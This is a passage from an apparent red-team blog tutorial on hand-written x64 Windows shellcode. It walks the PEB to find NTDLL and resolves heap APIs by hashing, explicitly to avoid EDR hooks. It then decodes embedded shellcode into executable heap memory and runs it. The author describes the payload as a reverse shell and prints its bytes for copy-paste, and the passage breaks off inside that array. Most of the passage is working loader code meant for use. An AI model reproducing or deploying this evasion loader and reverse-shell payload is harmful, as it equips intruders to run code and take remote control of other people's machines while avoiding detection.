<span class="nf">section</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>

<span class="nl">main:</span>

<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x28</span>
<span class="nf">and</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0xFFFFFFFFFFFFFFF0</span>
	
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>             <span class="c1">; RCX = 0</span>

<span class="c1">; Access TEB base: GS segment points to TEB</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">gs</span><span class="p">:[</span><span class="mh">0x30</span><span class="p">]</span>
<span class="c1">; Access PEB from TEB (TEB + 0x60)</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="mh">0x60</span><span class="p">]</span>

<span class="c1">;mov rax, [gs:rcx + 0x60] ; RAX = PEB</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">]</span>    <span class="c1">; RAX = PEB-&gt;Ldr (_PEB_LDR_DATA)</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,[</span><span class="nb">rax</span><span class="o">+</span><span class="mh">0x10</span><span class="p">]</span>       <span class="c1">;PEB.Ldr-&gt;InMemOrderModuleList</span>

<span class="nl">checkit:</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span> 
<span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span> <span class="o">+</span> <span class="mh">0x60</span><span class="p">]</span> 

<span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rcx</span><span class="p">]</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mh">0x6C00640074006E</span> <span class="c1">;UNICODE "N T D L" from NTDLL.DLL</span>
<span class="nf">cmp</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nb">rdx</span>
<span class="nf">jz</span> <span class="nv">foundit</span>
<span class="nf">jnz</span> <span class="nb">ch</span><span class="nv">eckit</span>

<span class="nl">foundit:</span>
<span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">]</span>

<span class="nf">mov</span> <span class="nv">r8</span><span class="p">,</span> <span class="nb">rbx</span>              <span class="c1">; mov NTDLL.dll base addr into r8</span>
</code></pre></div></div>

<p>We can consider the above the Preamble for most PIC shellcode.  Mine will likely be a variation on a theme to what you’ll find used in C2 frameworks and elsewhere, but the general principle is the same.  I’m first locating the Thread Environment Block (TEB), then we proceed to locate and walk the Process Environment Block (PEB).  The approach we’re taking here is really effective.</p>

<p>The reason being, is that we will locate NTDLL (or kernel32, etc) by name and not mathematically like the old school method of locating kernel32/ntdll base address by some hardcoded offset.  Notice how I’m looking for the unicode value <strong>N T D L</strong>?  Say EDR hooks our program and we had previously hardcoded ntdll as the 3rd item to grab when walking the PEB?  The PEB could be hooked by the EDR, and the 3rd position, normally reserved for kernel32.dll or ntdll, would have the hooked dll in its place.  This is <strong>NOT</strong> good!  However, since we’re actually searching for NTDLL by name, we are pretty much guaranteed to always find the appropriate one!  😼</p>

<p>Go ahead and compile that code and let’s check it out, shall we:</p>

<ul>
  <li><strong>nasm -fwin64 blog_pic_part2.asm</strong></li>
  <li><strong>ld -m i386pep -N -o blog_pic_part2.exe blog_pic_part2.obj</strong></li>
</ul>

<p>Now, navigate to <strong>x64Dbg</strong> and open your newly minted, compiled executable. 😸</p>

<p>Hit run and step over (step through) your code until you hit the <code class="language-plaintext highlighter-rouge">cmp rbx, rdx</code> instruction.  Look at both register values.  Notice anything interesting?</p>

<p><img width="1341" height="261" alt="image" src="https://github.com/user-attachments/assets/31b223e3-3fac-43d1-aa0c-3f3afa695567" /></p>

<p>The compare will succeed, since we found NTDLL!  Next, we will jump to the assembly instruction that will locate the actual address of NTDLL and store it in rbx.</p>

<blockquote>
  <table>
    <tbody>
      <tr>
        <td>00007FF6EDFA103B</td>
        <td>48:8B5E 30</td>
        <td>mov rbx,qword ptr ds:[rsi+30]</td>
      </tr>
    </tbody>
  </table>
</blockquote>

<p>We will make a copy of this memory address, storing it in the <code class="language-plaintext highlighter-rouge">R8</code> register to prepare for later needs throughout our code.</p>

<h2 id="grabbing-our-hashed-api-strings">Grabbing our Hashed API Strings</h2>

<p>Before we proceed, let’s write a very rudimentary program which will perform a Rotate left 5 (ROL5) + XOR routine against our API strings to hash them.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
</span>
<span class="n">DWORD</span> <span class="nf">hashString</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">str</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">DWORD</span> <span class="n">hash</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">while</span> <span class="p">(</span><span class="o">*</span><span class="n">str</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">hash</span> <span class="o">=</span> <span class="p">((</span><span class="n">hash</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">hash</span> <span class="o">&gt;&gt;</span> <span class="mi">27</span><span class="p">))</span> <span class="o">^</span> <span class="o">*</span><span class="n">str</span><span class="p">;</span> <span class="c1">// Rotate left 5 and XOR</span>
        <span class="n">str</span><span class="o">++</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">hash</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">apis</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="s">"RtlCreateHeap"</span><span class="p">,</span> <span class="s">"RtlAllocateHeap"</span><span class="p">};</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Hash of "</span> <span class="o">&lt;&lt;</span> <span class="n">apis</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="s">": "</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">hashString</span><span class="p">(</span><span class="n">apis</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Go ahead and compile that and run it.  You should get the following:</strong></p>

<p><img width="1286" height="91" alt="image" src="https://github.com/user-attachments/assets/32713a19-2cb9-4b15-88f8-98c9a77e39a6" /></p>

<p>Okay, now that wasn’t too tricky right?  That’s all that is required for our hashing routine.  Go ahead and make a note of those two values for now.  I’ll show you how to decode it later using assembly.</p>

<h2 id="parsing-the-pe-export-address-table">Parsing the PE Export Address Table</h2>

<p>Now we’re ready to continue. Let’s parse the PE export address table and get the PE export directory address, address of names, number of names, and total number of names (APIs).</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">;=================================================================	</span>
<span class="c1">;Code for parsing Export Address Table</span>
<span class="c1">;=================================================================</span>
<span class="nf">mov</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rbx</span><span class="o">+</span><span class="mh">0x3C</span><span class="p">]</span>           <span class="c1">; Get PE header offset (e_lfanew) from DOS header</span>
<span class="nf">add</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; Add PE header offset to NTDLL base. Store in RBX.</span>
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>                  <span class="c1">; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add</span>
<span class="nf">add</span> <span class="nb">cx</span><span class="p">,</span> <span class="mh">0x88ff</span>
<span class="nf">shr</span> <span class="nb">rcx</span><span class="p">,</span> <span class="mh">0x8</span>                  <span class="c1">; RCX = 0x88ff --&gt; 0x88, avoids nulls and removes 0xff, leaving behind the value we need :)</span>
<span class="nf">mov</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rbx</span><span class="o">+</span><span class="nb">rcx</span><span class="p">]</span>            <span class="c1">; EDX = [PE Header + 0x88] = Export Directory RVA</span>
<span class="nf">add</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; RDX = NTDLL.dll base + Export Directory RVA = Export Directory Address</span>
<span class="nf">mov</span> <span class="nb">r10d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x14</span><span class="p">]</span>          <span class="c1">; R10D = NumberOfNames from Export Directory</span>
<span class="nf">xor</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r11</span>                  <span class="c1">; Zero R11 before use</span>
<span class="nf">mov</span> <span class="nb">r11d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x20</span><span class="p">]</span>          <span class="c1">; R11D = AddressOfNames RVA</span>
<span class="nf">add</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; R11 = AddressOfNames VMA (Virtual Memory Address)</span>
<span class="nf">mov</span> <span class="nv">r13</span><span class="p">,</span> <span class="nv">r11</span>                  <span class="c1">; Save AddressOfNames pointer in R13 for later name array indexing</span>
<span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nv">r10</span>                  <span class="c1">; Set RCX as countdown loop counter (will decrement through names)</span>
</code></pre></div></div>

<p>I’ve added comments throughout the entirety of the assembly code, so I’m not going to go in great detail on that.  Just know we need the <code class="language-plaintext highlighter-rouge">addressofnames</code> and total number of apis to loop over.  We will ultimately be hashing each API string from the AddressofNames string.  We will use our <strong>ROTATE left by 5 + XOR</strong> hash routine against each string.  We will keep the loop active until we find our api string in question.  That’s the general breakdown of how this works.  Let me add some more code so you can see how the loop is laid out:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">;**********************************************************************</span>
<span class="c1">; Now, we start cycling through all the API functions</span>
<span class="c1">; Starting backwards from Z and working our way to A</span>
<span class="c1">; While that's happening, we hash each API with our hashing routine (ROT left 5 + XOR)</span>
<span class="c1">; And compare the hashed value with our predetermined hash values and see if there's a match!</span>
<span class="c1">;**********************************************************************</span>

<span class="nl">ntdllfindfunction:</span>                <span class="c1">; Loop over Export Address Table to find matching WinApi by hash</span>
    <span class="nf">jecxz</span> <span class="nv">FunctionNameNotFound</span>    <span class="c1">; If RCX = 0, we've checked all names without a match</span>
    <span class="nf">xor</span> <span class="nb">ebx</span><span class="p">,</span><span class="nb">ebx</span>                   <span class="c1">; Zero EBX for use</span>
    <span class="nf">mov</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="nv">r11</span><span class="o">+</span><span class="nb">rcx</span><span class="o">*</span><span class="mi">4</span><span class="p">]</span>          <span class="c1">; EBX = RVA of function name at current index (RCX), R11 points to AddressOfNames array</span>
	                                <span class="c1">; The index calculation [r11+rcx*4] multiplies by 4 because each RVA is a DWORD (4 bytes)</span>
    <span class="nf">add</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; RBX = Function name VMA (add NTDLL base address to RVA)</span>
    <span class="nf">dec</span> <span class="nb">rcx</span>                       <span class="c1">; Decrement loop counter (searching backwards through names array)</span>
    <span class="nf">jmp</span> <span class="nv">hashinitiator</span>             <span class="c1">; Jump to hash this function name and compare</span>
<span class="nl">FunctionNameNotFound:</span>
    <span class="nf">jmp</span> <span class="nv">continuation</span>              <span class="c1">; No matching function found, continue execution</span>
</code></pre></div></div>

<p>So, that’s a lot to take in.  Let me explain how everything plays out in a simpler fashion, using some screenshots from debugging our code.  Remember, we’re working backwards.  So, we’ll be starting with ‘Z’ and working our way to ‘A’.  One of the first Windows API strings I see is this one you’ll see in the screenshot below. This is once we step over the loop and reach the <strong>add rbx, r8</strong> instruction.</p>

<p>The API string is <code class="language-plaintext highlighter-rouge">wcstoul</code></p>

<p><img width="1176" height="594" alt="image" src="https://github.com/user-attachments/assets/0f9e07b9-98a3-48c1-ad97-73ee5f0a0ab8" /></p>

<p>Throughout this loop, we are constantly jumping to the <code class="language-plaintext highlighter-rouge">hashinitiator</code> function routine, which hashes each api string with our hashing routine and compares it to both of our hashes to determine if there’s a match!
Let’s follow the <strong>jmp hashinitiator</strong>.  I’ll show you what that looks like in the next section.</p>

<h2 id="hashing-routine">Hashing Routine</h2>

<p><strong>Here’s what that hashinitiator function code routine looks like:</strong></p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   <span class="c1">;********************************************************</span>
   <span class="c1">; This is our hashing routine where we check if our hash</span>
   <span class="c1">; matches the hash of the current API string</span>
   <span class="c1">;********************************************************</span>

   <span class="nl">hashinitiator:</span>
       <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span>
       <span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nb">rbx</span>        <span class="c1">; API name</span>
       <span class="nf">xor</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nb">rbx</span>
   <span class="nl">next_char:</span>
       <span class="nf">mov</span> <span class="nb">bl</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>       <span class="c1">; load next char</span>
       <span class="nf">test</span> <span class="nb">bl</span><span class="p">,</span> <span class="nb">bl</span>
       <span class="nf">jz</span> <span class="nb">ch</span><span class="nv">eck_hash</span>
       <span class="nf">rol</span> <span class="nb">eax</span><span class="p">,</span> <span class="mi">5</span>          <span class="c1">; rotate hash left 5 bits</span>
       <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">ebx</span>        <span class="c1">; hash ^= char</span>
       <span class="nf">inc</span> <span class="nb">rsi</span>
       <span class="nf">jmp</span> <span class="nv">next_char</span>

   <span class="c1">;********************************************************</span>
   <span class="c1">; This is where we check the hash generated and stored in the EAX register</span>
   <span class="c1">; with all of our pretermined hash values</span>
   <span class="c1">; if there's a match that's found, we jump to FunctionNameFound</span>
   <span class="c1">; and save the hash by pushing it to the stack</span>
   <span class="c1">;********************************************************</span>

   <span class="nl">check_hash:</span>
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0xb5cd8965</span>                <span class="c1">; RtlCreateHeap - Compare all bytes of eax with our pretermined hash values</span>
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>               <span class="c1">; If match, function found</span>
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0x4f48603e</span>                <span class="c1">; RtlAllocateHeap</span>
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>               <span class="c1">; If match, function found</span>
   
   <span class="nf">jmp</span> <span class="nv">ntdllfindfunction</span>
</code></pre></div></div>

<p>Now for some visuals to see how this plays out.  First, we copy our string which is currently in RBX, into RSI</p>

<p><img width="1176" height="274" alt="image" src="https://github.com/user-attachments/assets/43094664-52fa-48a1-910a-e9bc57b890ca" /></p>

<p>Next, we hash each individual character of that string with our rotate left 5 + XOR routine, and compare the hash we get with the hash we’re looking for. In this case, it’s not a match.  But you get the idea</p>

<p>here’s the hash routine applied to the character ‘w’ in this particular API string:</p>

<p><img width="1919" height="721" alt="image" src="https://github.com/user-attachments/assets/f640bf3a-4f06-4f32-a0ea-0bcc32d44c24" /></p>

<p>we rotate the hex value for the letter w, ‘77’, left 5 and then xor it.  You should get:</p>

<p><img width="839" height="541" alt="image" src="https://github.com/user-attachments/assets/877f54f1-3190-407b-9b4e-4265e9e59586" /></p>

<p>We keep this up until we get a full string then we just compare that full hashed string with the two api strings we’re looking for.  In this case, it was NOT a match:</p>

<p><img width="866" height="573" alt="image" src="https://github.com/user-attachments/assets/b1102934-5fe2-42d3-8293-6d94a3570495" /></p>

<p>And here’s the hash for <code class="language-plaintext highlighter-rouge">RtlCreateHeap</code> looks like when we find it:</p>

<p><img width="1716" height="535" alt="image" src="https://github.com/user-attachments/assets/2ebc0b76-d683-4d2e-a3a3-1eece17e97b1" /></p>

<p>In the next section, I’ll show you the register values and stack value for when we find the address of one of our APIs.</p>

<h2 id="locating-our-api-address-values">Locating our API address values</h2>

<p>I think I forgot to mention the API’s this time around will be RtlCreateHeap and RtlAllocateHeap, the NTDLL equivalents to kernel32’s HeapCreate and HeapAlloc.  Ok, so what happens after we find a match?  Well, we need to determine the memory address of the API function!  Crazy enough, that’s the whole point of every single line of code up to this point.  Our primary goal is to reproduce what we so easily gathered in <strong>Part 1</strong>, using <strong>externs</strong>…the actual address of each of our APIs.  But I won’t keep you waiting.  😸  Here’s the function that grabs the API address for both APIs:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">FunctionNameFound:</span>                <span class="c1">; Get function address from AddressOfFunctions</span>
                                  <span class="c1">; ECX currently holds the name index (after dec in loop)</span>
                                  <span class="c1">; Need to get the ordinal from AddressOfNameOrdinals</span>
   <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nb">rcx</span>                   <span class="c1">; SAVE the loop counter!</span>
   <span class="nf">xor</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r11</span>
   <span class="nf">mov</span> <span class="nb">r11d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x24</span><span class="p">]</span>           <span class="c1">; AddressOfNameOrdinals RVA</span>
   <span class="nf">add</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r8</span>                    <span class="c1">; AddressOfNameOrdinals VMA</span>
   
   <span class="nf">inc</span> <span class="nb">ecx</span>                        <span class="c1">; Adjust for the dec in loop</span>
   <span class="nf">movzx</span> <span class="nb">ecx</span><span class="p">,</span> <span class="kt">word</span> <span class="p">[</span><span class="nv">r11</span><span class="o">+</span><span class="nb">rcx</span><span class="o">*</span><span class="mi">2</span><span class="p">]</span>    <span class="c1">; Get ordinal (WORD sized!) from ordinals array</span>
   
   <span class="nf">xor</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r11</span>
   <span class="nf">mov</span> <span class="nb">r11d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x1c</span><span class="p">]</span>           <span class="c1">; AddressOfFunctions RVA</span>
   <span class="nf">add</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r8</span>                    <span class="c1">; AddressOfFunctions VMA</span>
   <span class="nf">mov</span> <span class="nb">r15d</span><span class="p">,</span> <span class="p">[</span><span class="nv">r11</span><span class="o">+</span><span class="nb">rcx</span><span class="o">*</span><span class="mi">4</span><span class="p">]</span>          <span class="c1">; Use ordinal as index into functions</span>
   <span class="nf">add</span> <span class="nv">r15</span><span class="p">,</span> <span class="nv">r8</span>                    <span class="c1">; Function address</span>
   <span class="nf">push</span> <span class="nv">r15</span>                       <span class="c1">; Push the API we found to the stack for retrieval later.  We do this for all of them</span>
   <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rdi</span>                   <span class="c1">; RESTORE the original loop counter</span>
   <span class="nf">mov</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r13</span>                   <span class="c1">; Restore AddressOfNames pointer</span>
   <span class="nf">dec</span> <span class="nb">rcx</span>                        <span class="c1">; Continue counting down</span>
   <span class="nf">jmp</span> <span class="nv">ntdllfindfunction</span>
</code></pre></div></div>

<p>Here’s what the registers and stack look like when we compute the API memory address!</p>

<p><img width="1532" height="752" alt="image" src="https://github.com/user-attachments/assets/e72590fa-874b-4f57-bc95-20cf8941adad" /></p>

<p>Once you run through the Loop a second time, you’ll also locate the memory address for <code class="language-plaintext highlighter-rouge">RtlAllocateHeap</code>. I’ll let you do that yourself for homework and catch up with you in our next section!</p>

<h2 id="using-our-newly-acquired-api-addresses-to-call-rtlcreateheap-and-rtlallocateheap">Using our newly acquired API addresses to call RtlCreateHeap and RtlAllocateHeap!</h2>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">continuation:</span>

   <span class="c1">;********************************************************</span>
   <span class="c1">; CONGRATS!  you found all the hashes, let's continue</span>
   <span class="c1">;******************************************************** 	</span>
	
<span class="nf">mov</span> <span class="nv">r14</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">]</span>      <span class="c1">;RtlCreateHeap API location on stack</span>
<span class="nf">mov</span> <span class="nv">r12</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span><span class="p">]</span>            <span class="c1">;RtlAllocateHeap API location on stack</span>
<span class="c1">; execute resolved APIs</span>
    
<span class="nf">xor</span>     <span class="nb">r9d</span><span class="p">,</span> <span class="nb">r9d</span>          <span class="c1">; CommitSize  = 0 (let system decide)</span>
<span class="nf">mov</span>     <span class="nb">r8d</span><span class="p">,</span> <span class="mh">0x100000</span>     <span class="c1">; ReserveSize = 1 MB (or any non-zero value)</span>
<span class="nf">xor</span>     <span class="nb">edx</span><span class="p">,</span> <span class="nb">edx</span>          <span class="c1">; HeapBase    = NULL (let system choose)</span>
<span class="nf">mov</span>     <span class="nb">ecx</span><span class="p">,</span> <span class="mh">0x00040002</span>   <span class="c1">; Flags = The numeric values for these heap flags are: HEAP_GROWABLE = 0x00000002 and HEAP_CREATE_ENABLE_EXECUTE = 0x00040000</span>
                            <span class="c1">; When you OR them together: HEAP_GROWABLE | HEAP_CREATE_ENABLE_EXECUTE = 0x00040002</span>
                          
<span class="nf">call</span>    <span class="nv">r14</span>               <span class="c1">; RtlCreateHeap</span>

<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>
		
<span class="nf">mov</span>         <span class="nv">r8</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span> <span class="c1">;size of shellcode</span>
<span class="nf">mov</span>         <span class="nb">edx</span><span class="p">,</span> <span class="mi">8</span>                      <span class="c1">; zero the memory</span>
<span class="nf">mov</span>         <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rax</span>                    <span class="c1">; Memory region/Address of Heap</span>
<span class="nf">call</span>        <span class="nv">r12</span>                         <span class="c1">; RtlAllocateHeap</span>
<span class="nf">push</span> <span class="nb">rax</span>
<span class="nf">pop</span> <span class="nb">rdx</span> <span class="c1">; memory address of mapped region of memory</span>
</code></pre></div></div>

<p>This part should look similar to Part 1, with the exception of using NT APIs instead of the kernel32 provided APIs.  We also will need to include a few more parameters before we call our RtlCreateHeap API.</p>

<p>In part 1, I resorted to using the stack to store a variable but we really don’t need to.  I just wanted to show you how you can store variables on the stack.  That being said, we do have both of our NT api addresses on the stack and we need to move them into registers so we can call them!  You’ll see I do just that on the first two lines of code in this function.  Notice in the image below, our stack pointer (RSP) now happens to be on RtlAllocateHeap and 8 bytes awat from <code class="language-plaintext highlighter-rouge">RtlAllocateHeap</code> is <code class="language-plaintext highlighter-rouge">RtlCreateHeap</code>!  You’ll also notice registers R12 and R14 contain our respective API addresses 😸</p>

<p><img width="1261" height="722" alt="image" src="https://github.com/user-attachments/assets/55ff6e91-f26d-47e0-a72f-5a64dda05d8f" /></p>

<h2 id="decode-shellcode-and-jump-to-it">Decode Shellcode and jump to it!</h2>

<p>It’s exactly what the title states.  At this point, we’ve allocated memory on the Heap for our shellcode and now we just need to decode our encoded shellcode.  We will also copy our shellcde byte for byte into the allocated heap memory region we created.  We don’t have to use RtlMoveMemory or memcpy, as we can simply use good ole fashioned <code class="language-plaintext highlighter-rouge">mov</code> instruction in assembly to accomplish this!</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">encoded_shellcode</span><span class="p">]</span>
<span class="nf">mov</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span>
<span class="nf">mov</span> <span class="nv">r14</span><span class="p">,</span> <span class="nb">rdx</span> <span class="c1">; save for later</span>
<span class="nf">xor</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>
	
<span class="nl">chunk_reader:</span>
    
<span class="nf">mov</span> <span class="nb">al</span><span class="p">,</span> <span class="kt">byte</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>
<span class="nf">mov</span> <span class="p">[</span><span class="nb">rdx</span><span class="p">],</span> <span class="nb">al</span>            <span class="c1">; Here's where we copy our shellcode byte by byte into our allocated Heap memory</span>
<span class="nf">inc</span> <span class="nb">rsi</span>
<span class="nf">test</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>
<span class="nf">jz</span> <span class="nv">final</span>
<span class="nf">inc</span> <span class="nb">rdx</span>
<span class="nf">loop</span> <span class="nb">ch</span><span class="nv">unk_reader</span>
    
<span class="nl">final:</span>
<span class="nf">jmp</span> <span class="nv">r14</span>                  <span class="c1">; Jump to our shellcode in heap memory and execute it!</span>
</code></pre></div></div>

<p>If you use my exact source code for this blog post, just know it’s a reverse shell destined for port 9001 on localhost.  I use that a lot for testing purposes.  Speaking of the full source code, I’ll list it now!</p>

<p><strong>Full Source Code Below:</strong></p>

<p><a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2025-11-25-PIC%20Shellcode%20from%20the%20Ground%20up%20-%20Part%202">Source Code</a></p>

<p>Compile it and convert to an .obj object file and extract the shellcode bytes from the object file per the usual routine.  Pop that into your favorite shellcode loader, and you’re golden!  You have now written x64 assembly code that is completely PIC friendly and can be compiled and ran without issue in your red team engagements 😸  Here’s the shellcode if anyone needs it for a quick copy/paste reference.  Funny enough, it’s essentially shellcode loading shellcode.  😸</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
<span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span 